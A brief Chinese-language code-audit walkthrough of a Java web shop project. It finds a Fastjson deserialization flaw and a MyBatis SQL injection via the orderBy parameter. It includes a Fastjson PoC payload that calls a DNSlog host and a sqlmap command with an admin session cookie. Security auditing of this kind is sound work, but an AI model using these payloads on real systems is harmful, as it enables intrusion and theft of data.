很簡單的程式碼審計
首先看一下組態檔,對於Maven專案,我們首先從pom.xml檔案開始審計引入的第三方元件是否存在漏洞版本,然後進一步驗證該元件是否存在漏洞點,Fastjson 1.2.58版本存在反序列化漏洞。
關注兩個函數:JSON.parse()和JSON.parseObject(),全域性搜尋兩個關鍵字,檢視專案是否存在JSON.parse()和JSON.parseObject(),並跟蹤該變數
在網站中找到該漏洞的位置,通過程式碼中的位置 admin/product,在網站中找到了該位置,並抓包修改propertyJson的序列化封包,對propertyJson引數值進行URL解碼,發現為JSON格式字串,將其改成惡意的程式碼進行出網驗證。
構建poc:{"@type":"java.net.Inet4Address","val":"c0lwal.dnslog.cn"},成功觸發了Fastjson漏洞。
本專案使用了Mybatis,來定義SQL。我們主要檢視Myabatis中xxxMapper.xml檔案中是否存在使用$拼接SQL語句的情況。使用$是直接拼接SQL語句的,未進行跳脫
進去看一下,通過 select id 進行跳轉到dao層
可以看到select函數中存在orderUitl引數,我們繼續逆向追蹤,看看引數值從何而來。
從上圖可以看出。getList方法中需要orderUtil引數,我們繼續逆向追蹤,看看orderUtil又是從何而來。首先看看誰使用了getList方法,鍵盤按住ctrl鍵後滑鼠左擊getList,可以看到UserController.java使用了該方法,且傳入了orderUtil值,進入檔案檢視具體程式碼,如下圖所示:
此時應該追蹤orderBy引數是從何而來。從下圖可以看到,該值通過admin/user/{index}/{count}介面傳過來的。通過註釋可以看出來該介面用於按條件查詢使用者,如下圖所示:
既然介面找到了,我們可以使用BurpSuite或者Postman來構造請求,然後進一步攻擊驗證。拼接url進行sqlmap跑,注意因為是後臺的操作所以一定要加上cookie驗證,否則sqlmap跑不出來:sqlmao語句:python sqlmap.py -u "http://ipxxx/tmall/admin/reward/1/1?orderBy=1" --cookie="username=admin; username=admin; JSESSIONID=xxx"